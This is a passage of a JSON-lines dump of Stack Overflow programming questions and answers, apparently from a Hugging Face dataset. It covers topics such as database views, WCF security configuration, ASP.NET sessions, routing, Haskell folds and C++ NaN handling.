"difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.291335"}
{"id": "hf_05804afab071", "question": "<p>The situation is as follows: I've got 2 models: 'Action' and 'User'. These models refer to the tables 'actions' and 'users', respectively.</p>\n\n<p>My action table contains a column <code>user_id</code>. At this moment, I need an overview of all actions, and the users to which they are assigned to. When i use <code>$action-&gt;fetchAll()</code>, I only have the user ID, so I want to be able to join the data from the user model, preferably without making a call to <code>findDependentRowset()</code>.</p>\n\n<p>I thought about creating custom <code>fetchAll()</code>, <code>fetchRow()</code> and <code>find()</code> methods in my model, but this would break default behaviour.</p>\n\n<p>What is the best way to solve this issue? Any help would be greatly appreciated.</p>\n", "question_body": "", "answer": "You could always make a view in your database that does the join for you.\n```\n```\nCREATE OR REPLACE VIEW VwAction AS\nSELECT [columns]\n  FROM action\n  LEFT JOIN user\n    ON user.id = action.user_id\n```\n```\nThen just use\n```\n```\n$vwAction->fetchAll();\n```\n```\nJust remember that views in MySQL are read-only (assuming this is MySQL)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.314883"}
{"id": "hf_4d0d6bced3e9", "question": "<p>I was checking out the <a href=\"http://www.tibco.com/devnet/gi/\" rel=\"nofollow noreferrer\">TIBCO GI</a> the other day and I was impressed.</p>\n\n<ul>\n<li>Has anyone used it extensively?</li>\n<li>What are your thoughts?</li>\n<li>What drawbacks did you encounter?</li>\n<li>Is it suitable for Internet or only Intranet apps?</li>\n</ul>\n\n<p>I appreciate any input you can shed on this.</p>\n", "question_body": "", "answer": "Yes, I have used it pretty extensively, here are some of my thoughts. Will add to them as the occur.\nI don't rate the approach of implementing the IDE in the framework itself (it runs in a browser window). There are many, many quirks and it can lead to a very frustrating experience. I normally develop all of the JS, XML etc in Intellij Idea using the Javascript debug window to run the IDE itself. After working on a file, it has to be reloaded in the IDE, but its still much more efficient.\nUsing the IDE, an entire application can be layed out relatively quickly.\nThere is a pretty steep learning curve. The API is extensive and the community forums aren't great when you do run into problems.\nMuch of the GUI painting is done using inline style attributes, making them difficult to skin and get the overall application looking exactly how you might want. If is for this reason that I think GI is more suited to intranet apps than publicly available ones.\nGI uses a 'dual DOM' approach, holding it's own internal representation of each on-screen element. This can make it difficult to fully integrate other frameworks such as JQuery etc.\nAs RIAD environments go, I think it is awesome. I find that doing things the GI way is an order of two faster than going down the request/response route.\nI really like the enforced separation of presentation and business logic.\nThe JS extensions they put in, like introspective package, interface and class definitions are quite clever and very useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.362051"}
{"id": "hf_43ac908e529e", "question": "<p>I have a winforms application, that why someone clicks on a button I need to open up IE to a specific URL.</p>\n\n<p>When someone closes the winforms app, I then need to close IE.</p>\n\n<p>Is this possible? If yes, how?</p>\n", "question_body": "", "answer": "It would be possible to do that, but it might be a better idea to simply embed Internet Explorer into your application using the WebBrowser control. That way when you close the website you have no chance of closing the whole window when your website opened in a new tab in an existing IE window.\nEdit:\nIf you're going to do it anyway,  look at the\nMSDN page on System.Diagnostics.Process.Close", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.433720"}
{"id": "hf_fe7da07d74ab", "question": "<p>This is a follow on to this <a href=\"https://stackoverflow.com/questions/232500/how-to-configure-security-when-calling-wcf-service-from-net-20-client\">question</a>.  I am trying to avoid using the x509 certificate method as that makes my client installs more complex.  If basicHttpBinding is not the only option, where are some samples of other binding methods.  </p>\n\n<p>My clients are on .Net 2.0, I don't have access to System.ServiceModel namespace as that didn't come out until 3.0.</p>\n\n<p>Update: To be clear, \n           clients: .Net 2.0, \n           web service: .net3.5/WCF</p>\n", "question_body": "", "answer": "You could require SSL + Username/Password with basicHttp.\nFirst the below is what your client would use in .NET 2.0 to auth w/ your WCF service.\n```\n```\nDim client As WebServiceClient = New WebServiceClient(\"basicHttpWebService\")\nclient.ClientCredentials.UserName.UserName = \"username\"\nclient.ClientCredentials.UserName.Password = \"password\"\n```\n```\nNext, a sample config for your WCF service to require SSL + Membership provider credentials\n```\n```\n<bindings>\n            <basicHttpBinding>\n                <binding name=\"basicHttp\">\n                    <security mode=\"TransportWithMessageCredential\">\n                        <transport/>\n                        <message clientCredentialType=\"UserName\"/>\n                    </security>\n                </binding>\n            </basicHttpBinding>\n        </bindings>\n        <behaviors>\n            <serviceBehaviors>\n                <behavior name=\"NorthwindBehavior\">\n                    <serviceMetadata httpGetEnabled=\"true\"/>\n                    <serviceAuthorization principalPermissionMode=\"UseAspNetRoles\"/>\n                    <serviceCredentials>\n                        <userNameAuthentication userNamePasswordValidationMode=\"MembershipProvider\"/>\n                    </serviceCredentials>\n                </behavior>\n            </serviceBehaviors>\n        </behaviors>\n```\n```\nThe only thing I'm not sure about is that to use the first section in the client app you might need the WCF/WPF extensions CTP installed because I typically right click and \"add service reference\" instead of the ASMX \"add web reference\" - if so this extension for VS2005 does require .NET 3.0 to be installed.  But with a simple \"add web reference\" you should still be able enter a username/password ... I just don't know what this vb/c# would look like ...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.457493"}
{"id": "hf_30d4e448dd3b", "question": "<p>I'm new to CakePHP but I've been though their FAQs and guides to no avail.  This is so simple that I just must not be thinking straight:</p>\n\n<p>How can I access a parameter sent through the URL within my view files? </p>\n\n<p>Example: <a href=\"http://example.com/view/6\" rel=\"nofollow noreferrer\">http://example.com/view/6</a></p>\n\n<p>How would I take that parameter (\"6\") and cycle it through the controller to another view page?</p>\n\n<p>If that's too complex for a quick answer, how can I reference the 6 within the view page itself?  The 6 in this situation is the \"Id\" value in my database, and I need to set it as the \"parent\" -</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "The URL, as you have it, will call the 6() method of your ViewController, which is not a valid method name. You may have to play with your routes to make that work.\nIf you don't want to configure your routes, you'll need the controller in the URL, like so:\n```\n```\nhttp://example.com/thinger/view/6\n```\n```\nwhich will call\n```\nthingerControllerObject->view(\"6\")\n```\n. If you want \"/view/\" to go to a different method, edit the routes. See:\nCake controllers\nCake routes", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.597721"}
{"id": "hf_e57c67853cc7", "question": "<p>If I accidentally closed the <em>scratch</em> buffer in Emacs, how do I create a new <em>scratch</em> buffer?</p>\n", "question_body": "", "answer": "C-x b\n```\n*scratch*\n```\nRET y RET with iswitchb-mode enabled.\nJust C-x b\n```\n*scratch*\n```\nRET otherwise.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.621636"}
{"id": "hf_334736c403f2", "question": "<p>What is the best way to check for the existence of a session variable in ASP.NET C#?  </p>\n\n<p>I like to use <code>String.IsNullOrEmpty()</code> works for strings and wondered if there was a similar method for <code>Session</code>.  Currently the only way I know of is:</p>\n\n<pre><code> var session;\n if (Session[\"variable\"] != null)\n {\n     session = Session[\"variable\"].ToString();\n }\n else\n {\n     session = \"set this\";\n     Session[\"variable\"] = session;\n }\n</code></pre>\n", "question_body": "", "answer": "That is pretty much how you do it.  However, there is a shorter syntax you can use.\n```\n```\nsSession = (string)Session[\"variable\"] ?? \"set this\";\n```\n```\nThis is saying if the session variables is null, set sSession to \"set this\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.645538"}
{"id": "hf_0151fe9effea", "question": "<p>Scenario - I need to access an HTML template to generate a e-mail from my Business Logic Layer.  It is a class library contains a sub folder that contains the file.  When I tried the following code in a unit test:</p>\n\n<pre><code>string FilePath = string.Format(@\"{0}\\templates\\MyFile.htm\", Environment.CurrentDirectory);\nstring FilePath1 = string.Format(@\"{0}\\templates\\MyFile.htm\", System.AppDomain.CurrentDomain.BaseDirectory);\n</code></pre>\n\n<p>It was using the C:\\WINNT\\system32\\ or the ASP.NET Temporary Folder directory.</p>\n\n<p>What is the best to access this file without having to use an app.config or web.config file?</p>\n\n<p>[This is using a WCF Service]</p>\n", "question_body": "", "answer": "You're running this from an ASP.Net app right? Use\n```\nServer.MapPath()\n```\ninstead.\nAlso take a look at\n```\nSystem.IO.Path.Combine()\n```\nfor concatenating paths.\n[Edit]\nSince you can't use\n```\nSystem.Web\n```\n, try this:\n```\n```\nSystem.Reflection.Assembly.GetExecutingAssembly().Location\n```\n```\nOr\n```\nGetEntryAssembly()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.668650"}
{"id": "hf_96b8c1fff5a4", "question": "<p>Scaffolding, what is it?  Is it a Rails-only thing?</p>\n", "question_body": "", "answer": "From\nWikipedia\n:\nScaffolding is a meta-programming\n  method of building database-backed\n  software applications. It is a\n  technique supported by some\n  model-view-controller frameworks, in\n  which the programmer may write a\n  specification that describes how the\n  application database may be used. The\n  compiler uses this specification to\n  generate code that the application can\n  use to create, read, update and delete\n  database entries, effectively treating\n  the template as a \"scaffold\" on which\n  to build a more powerful application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.716570"}
{"id": "hf_d065f6ddda25", "question": "<p><a href=\"/questions/61400/what-makes-a-good-unit-test\">What Makes a Good Unit Test?</a> says that a test should test only one thing. What is the benefit from that?</p>\n\n<p>Wouldn't it be better to write a bit bigger tests that test bigger block of code? Investigating a test failure is anyway hard and I don't see help to it from smaller tests. </p>\n\n<p>Edit: The word unit is not that important. Let's say I consider the unit a bit bigger. That is not the issue here. The real question is why make a test or more for all methods as few tests that cover many methods is simpler.</p>\n\n<p>An example: A list class. Why should I make separate tests for addition and removal? A one test that first adds then removes sounds simpler.</p>\n", "question_body": "", "answer": "Testing only one thing will isolate that one thing and prove whether or not it works. That is the idea with unit testing. Nothing wrong with tests that test more than one thing, but that is generally referred to as integration testing. They both have merits, based on context.\nTo use an example, if your bedside lamp doesn't turn on, and you replace the bulb and switch the extension cord, you don't know which change fixed the issue. Should have done unit testing, and separated your concerns to isolate the problem.\nUpdate: I read this article and linked articles and I gotta say, I'm shook:\nhttps://techbeacon.com/app-dev-testing/no-1-unit-testing-best-practice-stop-doing-it\nThere is substance here and it gets the mental juices flowing. But I reckon that it jibes with the original sentiment that we should be doing the test that context demands. I suppose I'd just append that to say that we need to get closer to knowing for sure the benefits of different testing on a system and less of a cross-your-fingers approach. Measurments/quantifications and all that good stuff.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.752075"}
{"id": "hf_d2e13cca5a53", "question": "<p>I'm relatively new to Nant, what i'd like to do is have a task that creates a new Website and AppPool in IIS6</p>\n\n<p>is there a way to do this in Nant?</p>\n\n<p>Essentially the task would need to set all the appropriate properties including the correct version of the .net Framework</p>\n\n<p>Ideally i'd also like to check if the site is already present in IIS.</p>\n", "question_body": "", "answer": "You can do this from the command line using ADSUTIL, you can find more information here:\nhttp://blogs.msdn.com/david.wang/archive/2007/12/12/howto-create-custom-application-pool-by-commandline.aspx\nTo do this in Nant you can use the exec task.\nHow are you planning on deploying your application?  Do you need this just for local installation?  There may be a better solution if you can give us some more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.843997"}
{"id": "hf_2f9fb54470ed", "question": "<p>I am trying to create a route with a Username...</p>\n\n<p>So the URL would be mydomain.com/abrudtkhul (abrudtkhul being the username)</p>\n\n<p>My application will have public profiles based on usernames (Ex: <a href=\"http://delicious.com/abrudtkuhl\" rel=\"noreferrer\">http://delicious.com/abrudtkuhl</a>). I want to replicate this URL scheme.</p>\n\n<p>How can I structure this in ASP.Net MVC? I am using Membership/Roles Providers too.</p>\n", "question_body": "", "answer": "You could have a route that looks like:\n```\n```\n{username}\n```\n```\nwith the defaults of\n```\n```\nController = \"Users\"\n```\n```\nFor the finished product of:\n```\n```\nroutes.MapRoute(\n                    \"Users\",\n                    \"{username}\",\n                    new { controller = \"Users\" }\n```\n```\nSo that the Username is the only url parameter, the MVC assumes it passes it to the users controller.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.867746"}
{"id": "hf_1d53db7bd6ac", "question": "<p>Can it be done or the only way is to configure it on IIS?</p>\n", "question_body": "", "answer": "You edit generally the Global.asax file's Session_Start method and set\nSession.TimeOut\nto whatever you want.  You can do this anywhere else in your code too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.891481"}
{"id": "hf_4be636e66ead", "question": "<p>Can you do ajax on ASP.net webform without using ajax toolkit? (Please post a example link)</p>\n", "question_body": "", "answer": "yes... see my example in this post\nAJAX - How to Pass value back to server\nThis can perform much better than ASP.NET ajax, but does take longer to code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.927591"}
{"id": "hf_fcaeede3c68b", "question": "<p>I am building a Flex Application that calls a .aspx page on the same webserver which builds a PDF report using SQL Reporting Services. When the report is built it prompts the user to open or save the PDF.</p>\n\n<p>We are trying to find a way to display a Progress Bar to let the user know that the report they requested is being built, and then destroy the Progress Bar once the report is finished being built.</p>\n\n<p>I've tried opening a new window using JavaScript and trying to catch when the window closes, as well as trying XMLHTTPRequest, but nothing to seems to work.</p>\n\n<p>Does anyone have any suggestions?</p>\n", "question_body": "", "answer": "There are 2 options:\nUse the\n```\nFileReference\n```\nclass in Flex to programmatically invoke your aspx file. You will be able to track the progress of the call from within Flex by listening to its events. But the users can only save the PDF, not open it.\nHave an intermediate HTML page that displays a loading icon and then refresh itself to your PDF generating ASPX page. Encode your aspx url along with parameters etc and set it as a parameter to this intermediate page so it knows what to load.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.954842"}
{"id": "hf_14a4862d7a02", "question": "<p>I need to replace the standard Overflow function in a ToolStrip to a \"More...\" button which would then pop up a menu with the overflowed items. Does anyone have any ideas about how to accomplish this?</p>\n", "question_body": "", "answer": "You can trap the paint event on the button by calling\n```\n```\ntoolStrip1.OverflowButton.Paint += new PaintEventHandler(OverflowButton_Paint);\n```\n```\nWhich in theory should allow you to make it say \"More...\", but I was unable to set the width of the Overflow Button to be anything but the (narrow) default width.\nAlso, another idea was that you can trap\n```\nVisibleChanged\n```\non the OverflowButton then manually inject a split button into the toolstrip.  The tricky part is figuring out where to put that button.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.979146"}
{"id": "hf_8d81912782d3", "question": "<p>I'm currently on chapter 4 of Real World Haskell, and I'm trying to wrap my head around <a href=\"http://book.realworldhaskell.org/read/functional-programming.html#x_E9\" rel=\"noreferrer\">implementing foldl in terms of foldr</a>.</p>\n\n<p>(Here's their code:)</p>\n\n<pre><code>myFoldl :: (a -&gt; b -&gt; a) -&gt; a -&gt; [b] -&gt; a\n\nmyFoldl f z xs = foldr step id xs z\n    where step x g a = g (f a x)\n</code></pre>\n\n<p>I thought I'd try to implement <code>zip</code> using the same technique, but I don't seem to be making any progress. Is it even possible?</p>\n", "question_body": "", "answer": "I found a way using quite similar method to yours:\n```\n```\nmyzip = foldr step (const []) :: [a] -> [b] -> [(a,b)]\n    where step a f (b:bs) = (a,b):(f bs)\n          step a f [] = []\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.015589"}
{"id": "hf_17f48c7ecf3c", "question": "<p>I'm trying to add parameters to an objectDataSource at runtime like this:</p>\n\n<pre><code>        Parameter objCustomerParameter = new Parameter(\"CustomerID\", DbType.String, customerID);\n        Parameter objGPDatabaseParameter = new Parameter(\"Database\", DbType.String, gpDatabase);\n\n        //set up object data source parameters\n        objCustomer.SelectParameters[\"CustomerID\"] = objCustomerParameter;\n        objCustomer.SelectParameters[\"Database\"] = objGPDatabaseParameter;\n</code></pre>\n\n<p>At what point in the objectDataSource lifecycle should these parameters be added (what event)?  Also, some values are coming from a master page property (which loads <em>after</em> the page_load of the page containing the objectDataSource).</p>\n", "question_body": "", "answer": "Add as early as possible; at the\n```\nPreInit\n```\nevent.  This is part of initialization so should be done there.\nSee the\nASP.NET Page Life Cycle Overview\nfor more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.063181"}
{"id": "hf_2b4f84e868db", "question": "<p>How can I Submit an InfoPath form to a SharePoint library AND to an email box at the same time when the user hits SUBMIT?</p>\n\n<p>I need my form to be approved by several users in a particular order; then re-submitted to the SharePoint site, and to another email box so that the next approver can see the approvals, and approve their own, then submit it and have it drop onto Sharepoint again, etc.</p>\n\n<p>The email chain works (the form as an attachment), and the approvals show, but the form doesn't get updated on the SharePoint Form library. </p>\n", "question_body": "", "answer": "Sorry for asking but have you considered using a workflow rather then emails? I'm not sure whether the basic workflows in WSS 3.0 will cater for your senario but the MOSS workflow should be more than adequate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.085337"}
{"id": "hf_f979f56ec0f7", "question": "<p>What is the best way to make trailing slashes not matter in the latest version of Routes (1.10)? I currently am using the clearly non-DRY:</p>\n\n<pre><code>map.connect('/logs/', controller='logs', action='logs')\nmap.connect('/logs', controller='logs', action='logs')\n</code></pre>\n\n<p>I think that turning minimization on would do the trick, but am under the impression that it was disabled in the newer versions of Routes for a reason. Unfortunately documentation doesn't seem to have caught up with Routes development, so I can't find any good resources to go to. Any ideas?</p>\n", "question_body": "", "answer": "There are two possible ways to solve this:\nDo it entirely in pylons\n.\nAdd an htaccess rule to rewrite the trailing slash\n.\nPersonally I don't like the trailing slash, because if you have a uri like:\nhttp://example.com/people\nYou should be able to get the same data in xml format by going to:\nhttp://example.com/people.xml", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.120912"}
{"id": "hf_d8620a1d0cd0", "question": "<p>I am curious to do what happens when you edit a post on this site.</p>\n\n<p>I am using wmd for my markdown editor, of course when I goto edit, I get the HTML it generated not the markdown like on stackoverflow.  Now, is there a way I can store both?  or is it reliable enough to simply convert the HTML back to markdown to show in the wmd editor?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Look at the\n```\noptionsExample.html\n```\nin your WMD distribution. There's an option to send the result to the server as Markdown.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.145757"}
{"id": "hf_dbc622f5e0a9", "question": "<p>I am having the worst luck with this. We bought a template to update our own website (don't have enough time to start our own from scratch!) but when I make simple changes in the Flash CS4 native file and re-export the swf, it doesn't work correctly!</p>\n\n<p>I am wondering if anyone has run across the same problems with a Template Monster Flash website template.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Look at the\n```\noptionsExample.html\n```\nin your WMD distribution. There's an option to send the result to the server as Markdown.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.170125"}
{"id": "hf_9bc5538e3d7a", "question": "<p>Derik Whitaker posted an <a href=\"http://devlicio.us/blogs/derik_whittaker/archive/2008/10/22/how-is-interacting-with-your-data-repository-in-your-controller-different-or-better-than-doing-it-in-your-code-behind.aspx\" rel=\"noreferrer\">article</a> a couple of days ago that hit a point that I've been curious about for some time: <strong>should business logic exist in controllers?</strong></p>\n\n<p>So far all the ASP.NET MVC demos I've seen put repository access and business logic in the controller.  Some even throw validation in there as well.  This results in fairly large, bloated controllers.  Is this really the way to use the MVC framework?  It seems that this is just going to end up with a lot of duplicated code and logic spread out across different controllers.</p>\n", "question_body": "", "answer": "Business logic should really be in the model.  You should be aiming for fat models, skinny controllers.\nFor example, instead of having:\n```\n```\npublic interface IOrderService{\n    int CalculateTotal(Order order);\n}\n```\n```\nI would rather have:\n```\n```\npublic class Order{\n    int CalculateTotal(ITaxService service){...}        \n}\n```\n```\nThis assumes that tax is calculate by an external service, and requires your model to know about interfaces to your external services.\nThis would make your controller look something like:\n```\n```\npublic class OrdersController{\n    public OrdersController(ITaxService taxService, IOrdersRepository ordersRepository){...}\n\n    public void Show(int id){\n        ViewData[\"OrderTotal\"] = ordersRepository.LoadOrder(id).CalculateTotal(taxService);\n    }\n}\n```\n```\nOr something like that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.205990"}
{"id": "hf_78af209349f9", "question": "<p>Can JQuery and YUI live together w/o any conflicts?</p>\n", "question_body": "", "answer": "Yes.  They live in different namespaces, plus jQuery has a\nnoConflict option\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.229796"}
{"id": "hf_54e28c213e9b", "question": "<p>In Silverlight how can I launch / navigate to another page?</p>\n", "question_body": "", "answer": "```\n```\nSystem.Windows.Browser.HtmlPage.Window.Navigate(\n   new Uri( \"http://www.google.com\" ),\n   \"_blank\"\n   );\n```\n```\nYou can leave out the target (\"_blank\") if you just want to navigate within your current browser window.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.265736"}
{"id": "hf_4a37cf817cf8", "question": "<p>I wonder why no browser out there has such simple but essential feature. Am I missing something? Is there a technical reason?</p>\n\n<p>I'm tired of all those javascript/flash/java hacks out there ...</p>\n", "question_body": "", "answer": "You have to post back to upload a file, regardless of whether or not you are being \"sneaky\" about it (using hidden iframes, for example); the browser's own progress bar (usually down in the status bar) is the file upload progress bar in that sense, although not exactly.\nIt's just that you can't easily use that data for yourself, so you have to approximate it with a lot of client-to-server communication tricks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.359037"}
{"id": "hf_98f9c65c2c5e", "question": "<p>I want to hold a bunch of const char pointers into an std::set container [1].  std::set template requires a comparator functor, and the standard C++ library offers std::less, but its implementation is based on comparing the two keys directly, which is not standard for pointers.</p>\n\n<p>I know I can define my own functor and implement the operator() by casting the pointers to integers and comparing them, but is there a cleaner, 'standard' way of doing it?</p>\n\n<p>Please do not suggest creating std::strings - it is a waste of time and space.  The strings are static, so they can be compared for (in)equality based on their address.</p>\n\n<p>1: The pointers are to static strings, so there is no problem with their lifetimes - they won't go away.</p>\n", "question_body": "", "answer": "Depending on how big a \"bunch\" is, I would be inclined to store a corresponding bunch of\n```\nstd::string\n```\ns in the set. That way you won't have to write any extra glue code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.417003"}
{"id": "hf_1de06a6b47b3", "question": "<p>Today I had a discussion with a colleague about nested functions in Javascript:</p>\n\n<pre><code>function a() {\n   function b() {\n      alert('boo')\n   }\n   var c = 'Bound to local call object.'\n   d = 'Bound to global object.'\n}\n</code></pre>\n\n<p>In this example, trials point out that b is not reachable outside the body of a, much like c is. However, d is - after executing a(). Looking for the exact definition of this behaviour in the <a href=\"http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf\" rel=\"noreferrer\">ECMAScript v.3 standard </a>, I didn't find the exact wording I was looking for; what Sec.13 p.71 does not say, is which object the function object created by the function declaration statement is to be bound to. Am I missing something?</p>\n", "question_body": "", "answer": "As I understand it, these are equivalent as far as scoping is concerned:\n```\n```\nfunction a() { ... }\n```\n```\nand\n```\n```\nvar a = function() { ... }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.489848"}
{"id": "hf_9d0528be99e4", "question": "<p>I've searched around a bit in the small amount of iPhone/iPod Touch development information available and couldn't find anything for or against.  Can an application find out information about currently playing song on iPhone/iPod Touch?  Since the music can continue to play while you are in 3rd party applications, is there a function or library that will give you information about what is playing? (Track, Artist, Album, etc.)  I know generally that applications are sand-boxed but thought maybe there was a way.</p>\n", "question_body": "", "answer": "As I understand it, these are equivalent as far as scoping is concerned:\n```\n```\nfunction a() { ... }\n```\n```\nand\n```\n```\nvar a = function() { ... }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.514195"}
{"id": "hf_6fb7cbb71eba", "question": "<p>What's the best way to use NaNs in C++?</p>\n\n<p>I found <code>std::numeric_limits&lt;double&gt;::quiet_NaN()</code> and <code>std::numeric_limits&lt;double&gt;::signaling_NaN()</code>.  I'd like to use <code>signaling_NaN</code> to represent an uninitialized variable as follows:</p>\n\n<pre><code>double diameter = std::numeric_limits&lt;double&gt;::signaling_NaN();\n</code></pre>\n\n<p>This, however, signals (raises an exception) on assignment.  I want it to raise an exception on use, not on assignment.</p>\n\n<p>Is there any way to use <code>signaling_NaN</code> without raising an exception on assignment?  Is there a good, portable alternative to <code>signaling_NaN</code> that will raise a floating point exception when used?</p>\n", "question_body": "", "answer": "You can write a signalling NaN into a variable without triggering an exception with something like this (nb: untested)\n```\n```\nvoid set_snan( double &d )\n{\n    long long *bits = (long long *)&d;\n    *bits = 0x7ff0000080000001LL;\n}\n```\n```\nIt'll work most places, but no, it's not 100% portable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, 